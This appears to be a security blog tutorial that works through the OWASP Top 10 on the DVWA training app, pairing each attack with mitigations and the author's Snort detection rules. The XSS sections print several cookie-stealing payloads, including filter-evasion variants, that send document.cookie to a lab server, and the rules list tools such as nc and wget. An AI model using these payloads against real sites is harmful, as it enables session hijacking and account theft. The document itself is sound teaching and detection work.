1. Broken Access Control

A. IDOR (Insecure Direct Object reference)

A typical example used in broken access control is IDOR, insecure direct object reference.

IDOR can allow you to view or modify another user account. As shown below, a URL may contain a unique key/number tied to a user account. In this example, Imagine this being the ending of a URL, and the unique ID is1, which belongs to a user named “normie.” 

“…account=1?Name=normie”

Just by replacing the Unique ID with a 0

“…account=0?Name=normie”

Then, sending a new request or pressing “Enter” can allow you to take over that account, allowing you to view and modify anything the user can access.

 “…account=0?Name=Admin”

This is extremely oversimplified, but it can help paint the picture.

B. Path Traversal / Local File Inclusion / Remote File Inclusion

I will be throwing these three common examples together. 

These examples can be seen as outside the scope that an application should have—in this case, outside of what DVWA should have access to read and execute. 

I usually see path traversal and LFI as the same. Path traversal’s unique trait is that it uses dots and slashes (“../../” ) to move through directories, while LFI can use just the relative or absolute path. However, it can also use dots and slashes. Both can read files and execute malicious scripts, executables, or backdoors. 

Below is an example of a path traversal vulnerability. In this case, it is reading and returning a file clearly out of the scope of the DVWA server.

Below is an example of a Local file inclusion. We can see that the dots and slashes were unnecessary and that we could instead use the absolute path.

Then, here is an example of a remote file inclusion. Here, instead of opening a file locally, we’re trying to get a file remotely.

Many of the risks from these vulnerabilities can be lowered by following the principle of least privilege. This principle involves ensuring that the permissions on all files and directories are secure and that all applications and people have ONLY the necessary permissions to do their tasks.

In the case of DVWA, the module “File inclusion” was secured by hard coding the names of the files to be called into the code to eliminate any attack vectors. OWASP recommends the same and removes any user input.

In the case of IDOR, it is recommended that identifiers be kept out of the URLs and POSTs and that access control checks be implemented on anything the user tries to access.

Snort rules

I made two simple Snort rules to detect path traversal, as seen in the image below. They work. However, some things about the two are essential to know.

This first rule checks whether the HTTP Method is “GET.” If it is, it will check for a “../” anywhere in the URI. You will notice that the formatting is a bit weird with this rule, but it is how Snort reads it. Putting the “content” anywhere else will have Snort scream at you when you attempt to test your configurations.

To better understand it, we can start with the first “content” and read it as…

“I’m looking for “GET.”

Where do you want me to look? “In the http_method”

I’m looking for “../”

Where am I looking for this? “in the http_uri”

alert TCP any any -> any 80 (\
msg: "Possible Path Traversal attempt";\
content: "GET";\ 
http_method;\
content: "../";\
http_uri:\
sid: 1000027;\
rev:1;\
)

For this second rule, which is the one I used to explain the format of snort rules.

It looks at the specific URL and finds content inside that URL that matches a “../.”

alert TCP any any -> any 80 (\
Msg: "Possible Path Traversal attempt 2";\
uricontent:"/vulnerability/fi/?page=";\
content:"../";\
sid: 1000028;\
rev:1;\
)

The first rule can detect path traversals from multiple URLs as it reads the GET message. The downside is that it will make a lot of false positives.

The second rule focuses on just 1 URL, leading to fewer false positives.

The third rule I want to mention in this section is shown below. It can be used to detect remote file inclusions. Like the last rule, it focuses on 1 URL.

This is the first rule where I use PCRE. It’s regex. I put it so that it follows up on the URL we’re looking at and checks to see if there is an HTTP or HTTPS in that URL. The “?” after HTTPS tells Snort, “There may or may not be an ‘S’ here.” The hex numbers after “https?” is just “://.” When it comes to PCRE, I recommend having the HTML Encoding Tables on the side.

alert TCP any any -> any 80 (\
msg: "Possible Remote File Inclusion attempt";\
uricontent:"/vulnerability/fi/?page=";\
pcre:”/\?page=https?\x3a\x2f\x2f/i”;\
sid: 1000029;\
rev:1;\
)

2. Cryptographic Failures

The second category, as the title says, is when cryptography fails or is unused. This can happen with data in transit, at rest, or in use. 

A. Insecure data transmission, also known as “data in transit,” can be done using insecure protocols, such as HTTP, FTP, and SMTP. 

Now, DVWA does not have a specific section for this vulnerability, but the website is built using HTTP, which allows the plaintext of a login to be transmitted. Below is a picture of the credentials for DVWA being caught by Wireshark.

It is important to use HTTPS instead of HTTP to avoid this type of exposure. I won’t go into changing the entire unsecured website to a secure version. Still, in a scenario where you did have HTTPS running. Inside your /etc/apache2/sites-available/ folder, you will find the HTTPS configuration files. Inside the configuration, you can put what protocols the site will use (Ex. What version of SSL and/or TLS) and what Ciphers. Only strong protocols and ciphers should be listed, as listing weak ones can lead to a downgrade vulnerability.

B. Data at rest is when sensitive information is on disk or in a database, not being used and not being sent across the wire. It is best practice to keep the password hash instead of keeping it in plaintext. I still have not touched on it yet, but an SQL injection can be done in DVWA, which exposes the table that shows the username and password hashes.

 The result shown above is after running the SQL injection. We can get an MD5 hash, which can be easily cracked online for free.

This leads to… making sure that the hashing algorithms being used are not deprecated and are strong, preferably those with salt in them. MariaDB does have the capability to use modern hashing algorithms like Argon2id, bcrypt, and PBKDF2, which automatically salt the passwords.

C. Data in use would be data in memory, which is being used by an application. To reduce the risk of exposure, you would also want to use strong salted hashes or tokenization instead of plaintext information when the data is in use. That way, even if an attacker could get their hands on it, it would be rendered useless as they don’t have the secret key or mappings.

3. Injections

Injections is the category where I created the majority of my Snort rules. I won’t teach SQL, Bash, PowerShell, or JavaScript in this section.

Usually, when thinking of injections you will think of user input fields, like login pages and URLs, that do not sanitize the user input. But know that many more vectors exist and can be used.

The first type of injections I’m going to cover is SQL Injections. In DVWA, we get a scenario that asks us to input a user ID to retrieve a user’s first name and Surname. The goal of this section is to get the password/hash of the users.

For the low and high difficulties, we’re able to input the ID and then escape the query using a single quotation mark, which is then followed by the malicious query. The only difference between high and low is that in the high difficulty, the developer tries to redirect you to a second page to log in.

Use the query shown in the image below. It can be used in Low and High.

The medium difficulty replaces the input field with a drop-down menu, you can simply inspect the web page and replace the value of the shown option in the drop-down menu with your query.

The impossible level has the queries parameterized. This basically means that user input is separated from the query that is being run, thus leading to protection from injections.

Below is the Snort rule I created to help detect SQL Injections.

Snort rule to detect SQL Injections

# The rule below was used, tested, and tailored to Low Difficulty on DVWA

# Rule can be further enhanced by adding quotation variants and additional symbols and SQL commands. 
# If source code/normal traffic contains some SQL Commands, you can take it off to get rid of the false positives. ie. I took off "LIKE" # for the High Difficulty.
# I also had to get rid of "=" or "%3D", and the SQL commands SELECT, and FROM on specific difficulties. 
# You can adjust the URI content as needed. I had to remove "(^|&)?id=[^&]*?" for the Medium and High difficulty.

alert tcp any any -> any 80 (\
msg: "SQL Injection detected - /vulnerabilities/sqli";\
sid: 1000024;\
uricontent: "/vulnerabilities/sqli/?id="; nocase;\
pcre:"/(^|&)?id=[^&]*?(%20|%22|%23|%27|%3B|%3C|%3D|%3E|%7C|\b(?:UNION|AND|OR|SELECT|NULL|CONCAT|FROM|EXEC|IF|SLEEP|CONVERT|HAVING|INSERT|UPDATE|DELETE|DROP|CREATE|CAST|LIKE|IN)\b|--)/im"; nocase;\
)

The second Injection I want to bring up is a variant of SQL Injection known as Blind SQL Injection. Besides the changes in msg, SID, rev, and URL, the rules are the same.

Blind SQL Injection has 2 different methods. One is the Boolean method which we can see in DVWA after inputting a ID that exists, the server will let us know. This is our TRUE.

When inputting something that doesn’t exist, it’ll tell us that it’s missing. This is our FALSE.

The second is the sleep method, you would usually see this when the website doesn’t give you any error. In the picture above, at the bottom left corner, I use a sleep command. The injection was successful if we told the website to sleep 5 seconds in our query. If the response time isn’t long, the injection isn’t successful.

I won’t dive deep into this one as the mitigations and examples are the same as the normal injections. These two methods are usually automated using SQL Map or your own script.

Another great resource to learn Web Security and a chance to practice your scripting is NATAS by OverTheWire. Here’s a little script of mine and its output that is related to a blind SQL injection. Here I was abusing the boolean method to find out which characters were present in the password for the next room, then slowly put a string together revealing the full password.

Below is the rule to help detect blind SQL Injections. Again, it’s the same as the normal SQL Injection.

Snort rule to detect blind SQL Injection

# Follow the same notes as brought up in the normal SQL Injection

alert tcp any any -> any 80 (\
msg: "SQL Blind Injection detected - /vulnerabilities/sqli_blind";\
sid: 1000025;\
uricontent: "/vulnerabilities/sqli_blind/?id="; nocase;\
pcre:"/(^|&)?id=[^&]*?(%20|%22|%23|%27|%3B|%3C|%3D|%3E|%7C|\b(?:UNION|AND|OR|SELECT|NULL|CONCAT|FROM|EXEC|IF|SLEEP|CONVERT|HAVING|INSERT|UPDATE|DELETE|DROP|CREATE|CAST|LIKE|IN)\b|--)/im"; nocase;\
)

Now moving away from databases, we’re looking at our third section which is command injections. These can be known as remote code execution and it’s commands can be different. The rule will contain examples that can be picked up on Linux and Windows Command Injections.

Starting with the low difficulty in DVWA, we’re being asked to input an IP to ping it. We’re able to simply add “&&” and the command that we want after. As well as a semicolon.

As for the medium difficulty, the developer has created a small blacklist to not allow the commands used in the low difficulty. In this difficulty, we can use the “&” symbol instead to background the ping command.

Then finally for the High Difficulty, the developer added more items to the blacklist but had a typo for the “|” symbol. This allows us to run the command shown below.

DVWA’s impossible difficulty has it so that there are multiple validation checks to make sure that it is an IP address being passed in.

Snort rule to detect Command Injections

# It can be improved, by making it so that the keywords are detected when there is no space to their left. Although this is a weakness, the Symbols can help in detection. Some fixes will only lead to more false positives.
# Adjust URL, Addresses, and add in additional keywords as seen fit.

alert tcp any any -> any 80 (\
msg: "Command Injection detected - /vulnerabilities/exec";\
sid: 1000023;\
uricontent: "/vulnerabilities/exec"; nocase;\
pcre:"(%26|%2A|%3B|%3C|%3E|%3F|%60|%7C|\b(?:CMD|BASH|SH|POWERSHELL|ECHO|NC|WGET|UNAME|CD|LS|DIR|WHOAMI|IFCONFIG|ID|HOSTNAME|IPCONFIG|CAT|TAIL|HEAD|CHMOD)\b.*?|--)/im";
)

Reflected XSS is the 4th injection I will bring up.

Reflected XSS is usually initiated after a social engineering attack. So a scenario as an example, if a bank website has this vulnerability, a malicious link can be sent to a victim which will send a specially crafted request to the website. Let’s say that the crafted request aims to get the victim’s cookie. If the attack is successful, the attacker can get into the victim’s account using the cookie.

We can see some examples of this through DVWA.

The Low difficulty for the Reflected XSS section is just an input field asking for your name. The source code does not check/validate the input from the user. The overall objective of this section in DVWA is to get a user’s cookie and hijack their session.

We can set up a remote server to receive the data generated by the script below. The remote server in this case is just a Python HTTP server.

<script>window.location=’http://172[.]16[.]0[0]102:8080/?cookie=’ + document.cookie</script>

The output received on the remote server can be seen below. In this scenario, the attacker has the victim’s cookie and can use it to hijack their session.

While performing this injection, Snort was also running and was able to pick up the XSS reflection attack.

The medium-difficulty source code is looking for any instance of “script”, but it can be exploited using the script shown below. The reason why it works is because it’s case-sensitive. We can just capitalize “script”. The Snort rule will also activate and the remote session will receive the victims cookie.

<SCRIPT><SCRIPTwindow.location=’http://172[.]16[.]0[0]102:8080/?cookie=’ + document.cookie</script>

The High difficulty has removed the pattern of “script”. We can exploit HTML Events using the script below. The snort rule will also pick this up, and the remote server will receive the victim cookie.

<img src/onerror=”var cook = document.cookie; document.location=’http://172[.]16[.]0[.]102:8080/?cookie=’ + cook”>

For the impossible mode, it uses “htmlspecialchars()”, which looks for special characters like “>” and “<” and turns them into “&lt” and “&gt”. This helps prevent input from being interpreted by the browser as malicious code.

Snort rule to detect Reflected XSS

alert tcp any any -> any 80 (\
msg: "XSS Reflection  Injection detected - /vulnerabilities/xss_r";\
sid: 1000030;\
uricontent: "/vulnerabilities/xss_r/?name="; nocase;\
pcre:"/(^|&)?id=[^&]*?(%21|%26|%27|%28|%29|%2A|%2D|%2E|%2F|%3B|%3C|%3D|%3E|%60|%7C|\b(?:EVAL|UNESCAPE|ATOB|IMG|SRC|ONERROR|ALERT|PARAMETER|VALUE|DOCUMENT.COOKIE|DOCUMENT.LOCATION|DOCUMENT|PROMPT|CONFIRM|ONLOAD|ONMOUSEOVER|SCRIPT)\b|--)/im"; nocase;\
)

The Fifth Injection is DOM XSS.

For this injection, the user clicks on a specially crafted malicious link. The request will be sent to the webserver but the script will only run on the client side. The way that the website loads will be affected by the script, so this XSS is client-sided.

In this section in DVWA, we are just given a drop-down menu that allows the user to select their language.

instead of putting our script into an input field, we will have to put it into the URL. Initially, the URL will look like this… It’s just a path.

But after clicking on the “Select” button, the URL will be updated. Now we can replace “English” with our scripts.

In the Low difficulty of this section, it will not check/validate the input. Use the script below to connect to a remote server and collect the victim’s cookie.

default=<script>window.location=’http://172[.]16[.]0[.]102:8080/?cookie=’ + document.cookie</script>

Below is just an image to show what the remote server will see from the script used above.

We can take that cookie, inspect the page, and replace our current cookie with the victim’s cookie to hijack their session.

Below is the switch from Unknown to the Admin user.

For the medium difficulty of this section, the source code will remove the usage of “script”. Just like how we did in the reflective XSS, we can use HTML events.

English</select><img src/onerror=”var cook = document.cookie; document.location=’http://172[.]16[.]0[.]102:8080/?cookie=’ + cook”>

Again, this is the output on the remote server after running that script.

For the high difficulty in this section, the source code white listed the options shown in the drop down menu.

Though, we’re able to add in our script after the path, followed by a “#”.

?#default=<script>window.location=’http://172[.]16[.]0[.]102:8080/?cookie=’ + document.cookie</script>

This will once again send the victim cookie to the remote server.

For impossible mode, it relies on the browser to do the proper encoding when it does the requests.

Snort rule to detect DOM XSS

# Did not work on High, as anything after the # is not sent to the server

alert tcp any any -> any 80 (\
msg: "XSS DOM Injection detected - /vulnerabilities/xss_d";\
sid: 1000031;\
uricontent: "/vulnerabilities/xss_d/?default="; nocase;\
pcre:"/(^|&)?default=[^&]*?(%26|%27|%28|%29|%2A|%2D|%2E|%3B|%3C|%3D|%3E|%60|%7C|\b(?:EVAL|IMG|SRC|ONERROR|ALERT|VALUE|DOCUMENT.COOKIE|DOCUMENT.LOCATION|DOCUMENT|DOCUMENT.WRITE|DOCUMENT.CREATEELEMENT|ONLOAD|ONMOUSEOVER|ONERROR|SCRIPT|ELEMENT.ADDEVENTLISTENER|GETELEMENTBYID|INNERHTML|SETATTRIBUTE|ELEMENT.INNERHTML|ELEMENT.SETATTRIBUTE|HISTORY|PUSHSTATE|HISTORY.REPALCESTATE)\b|--)/im"; nocase;\

)

The sixth Injection I’ll bring up is Stored XSS.

This XSS is not like the others, where they will only run once. When this vulnerability is exploited, the script will remain persistent on the webserver and will run when other victims visit the affected website.

This section in DVWA is just a guestbook, which asks the visitors to place their name and a message. The goal is to redirect the victims to any other webpage. I only used alerts on this one, but you can use the scrips from the other XSS attacks to redirect to a different page.

Inside of DVWA Low, the input will not be validated.

In the message box, you can put the script below. You can place anything in the name field.

<script>window.location=’http://172[.]16[.]0[.]102:8080/?cookie=’ + document.cookie</script>

For Medium difficulty, the source code tried to add protection for the message field.

Inspect the page, and change the name input size from 10 to 100.

This will allow you to put the code in the name field. It won’t work if you attempt to run it in the message field.

<sc<script>ript>window.location=’http://172[.]16[.]0[.]102:8080/?cookie=’ + document.cookie</script>

Can try 

<img src/onerror=”var cook = document.cookie; document.location=’http://172[.]16[.]0[.]102:8080/?cookie=’ + cook”>

For the high difficulty, the source code adds protection in both fields.

We can use the HTML events. Put the code in the name field, and you can put a random message.

Inspect the page, and change the name input size from 10 to 100. Use the script below.

<img src/onerror=”var cook = document.cookie; document.location=’http://172[.]16[.]0[.]102:8080/?cookie=’ + cook”>

The impossible mode uses “htmlspecialchars()” to help prevent XSS attacks.

Snort rule to detect Stored XSS

#This rule will activate the very first time the stored xss happens. Will not activate when visitors visit and are affected.

alert tcp any any -> any 80 (\
msg: "XSS Stored Injection detected - /vulnerabilities/xss_s";\
sid: 1000032;\
uricontent: "/vulnerabilities/xss_s/"; nocase;\
pcre:"/(^|&)?id=[^&]*?(%22|%26|%27|%28|%29|%2D|%2E|%2F|%3B|%3C|%3D|%3E|%5C|%60|%7C|\b(?:EVAL|UNESCAPE|ATOB|IMG|SRC|ALERT|VALUE|DOCUMENT.COOKIE|DOCUMENT.LOCATION|DOCUMENT|&LT|&GT|&AMP|&QUOT|PROMPT|CONFIRM|ONLOAD|ONMOUSEOVER|ONERROR|ONBLUR|ONFOCUS|ONMOUSEDOWN|HREF|BACKGROUND|SCRIPT)\b|--)/im"; nocase;\
)

4. Insecure Design

This category can be confusing, but it is saying that there should be more thinking done during the design phase. Using things like a secure development lifecycle, continuous threat modeling, and following security principles. 

It is not having foresight into what threats or vulnerabilities can appear once something is launched. An example can be when the protocol HTTP was made. Security was not a concern as it was being used in private academic, research, and government networks. But as the internet grew and went public, the lack of encryption quickly became a security flaw.

5. Security Misconfiguration

Now for this section I usually have three big things appear in my head, though there are 20 CWEs mapped to it. 

With the first one being debloating your workstation or server. This means getting rid of anything unnecessary on the system. This will help make the attack surface of that device smaller, giving the attacker fewer opportunities to exploit something.

This is not just applications, and services. It can be Ports, accounts, and privileges. If you are running a web server, you must look at plugins and any extra directories/pages that could exist by default. The last thing you’ll want is a compromise via an XSS through an old chat room plugin built into your web server folders. 

The second is system hardening. Most systems/servers do not come pre-hardened, and organizations need to perform this to keep compliance with regulations and industry standards. Most organizations already have this automated, but a good resource for hardening is the Center for Internet Security (CIS) Benchmarks.

They create benchmarks, which is a giant manual that helps people and organizations to secure and harden their systems. This can be Linux servers, workstations, windows servers, cloud instances, and many more. They’re extremely comprehensive and can reach the thousand-page mark.

The third one is showing too much information. An example is if you’re attempting to go to a specific page on my webserver that doesn’t exist, and the 404 error page appears with the exact version and type of server running. This helps the attacker narrow down their search for exploits specific to that version.

This can be mitigated by simply removing the error message or putting a different 404 page/message.

6. Using Vulnerable and Oudated Components

Legacy servers and applications are (sadly) common in most companies. These are usually critical systems that have not been upgraded or transferred to secured and maintained versions. Reasonings can be because of complexity, specific applications not being supported in upgrades, cost, or all of the above.

For these types of systems, you have to make sure they are hardened, debloated, monitored, and if possible scanned for vulnerabilities occasionally and patched. Sometimes, scanning may not be an option as it can bring the system down. They will also have to be segregated into their own VLAN network.

It is important to follow these security measures as it is extremely easy for someone to exploit these systems as there are readily and publicly available database exploits.

7. Identification and Authentication Failures

This section is very heavy on password attacks. What sticks out here is just making sure that the appropriate policies are in place to counter password attacks. Having policies like…

• Password length and complexity
• Password attempts
• Not having knowledge-based questions
• Not having multifactor authentication enabled

Some other things to look out for are…

• Using default credentials
• Reusing tokens/ non-expiring tokens

# Can be further enhanced by adding http_method; content: “POST”, as well as changing the “Flow” and “Flowbit” options, as well as using a more specific uricontent.

alert tcp any any -> any 80 (\
msg: "Potential Brute Force Attack";\
sid: 1000022;\
Flow: established,from_client;\
Uricontent: “/vulnerabilities/brute”;\
detection_filter: track by_src, count 5, seconds 60;\
)

8. Software and Data Integrity Failures

When it comes to this category, I immediately think of the hashes shown to you when you are at a download screen for a tool.

You are supposed to get the hash of the tool/software/update AFTER you download it and compare it to the hash that they show you on the site. They are supposed to match, and if they do not, it is a good indicator that the software/tool has been tampered with in some way.

An example of failure in this category is to not have a hash AT ALL or any other way to check the integrity of what you are bringing into your environment.

Here is an example of there being a hash when downloading a tool, I can use Pestudio, which is a tool that I am currently using in malware analysis.

As I brought up before, they give you a hash to which you can compare.

Running “Get-FileHash …” then the file/path to the file inside of PowerShell can give you the hash as shown below.

The hash we get on PowerShell seems to match the hash on the website, telling us that the zip file has not been tampered with.

What about the stuff that is already running on our systems? We can verify the signatures of running applications/processes. I know how to do this using a tool from Sysinternals, called Process Explorer. Inside Process Explorer, right-click on any process you want to verify, click on properties, and then click on the image tab. Here there will be a Verify button to check if the signature is legit.

On Linux, you will also want to make sure you are using safe and trusted repositories. There will be chances where you can check hashes and also most Linux repos use PGP keys to sign their packages.

9. Security Logging and Monitoring Failures

Failure in this category can happen by simply not logging the basics. (failed and successful logins, high network activity, errors, web attacks/recon, etc…). Make sure your systems and their applications/services are logging and forwarding to an SIEM. Do not store logs locally and continuously revise your detection/alerting rules.

A big one I see is not keeping all your logs in a certain consistent format. Sometimes, logs can also have too little information and/or too much information that can help an attacker. Make sure the logs follow a consistent format, as well as the archive folders for older logs, and that the folders have unique names so that they do not overwrite each other.

10. SSRF

The final category will take us back to the first category. An example of Server-Side Request Forgery has already been shown.

Specifically, the Remote File Inclusion example.

The main things that I see that make up a server-side request forgery are

• An attacker is attempting to target a server that they do not have direct access to
  • This can be because they are using a whitelist, Firewalls, or any other sort of ACLs to limit access to that server
• There is a vulnerable web server in between the attacker machine and the target server
  • This server is whitelisted to communicate with the target server
• The attacker will use specifically crafted URLs like the one shown above
  • It will seem as if the server is attempting to access internal and external machines.

Now the URL shown in that image is just the same webserver collecting a file from itself via a different port. But the address can be any internal or external address.

Mitigations

Defense-in-depth

• Application
  • Disable Schemas like File://, ftp://, and other dangerous schemas. Only allow HTTP and HTTPS
  • Validate user-input
  • Make sure that a public IP address is trying to attempt the request.
• Network
  • Segment public-facing servers
  • Ensure firewall policies are “deny by default” and allow only the necessary internal traffic 

https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html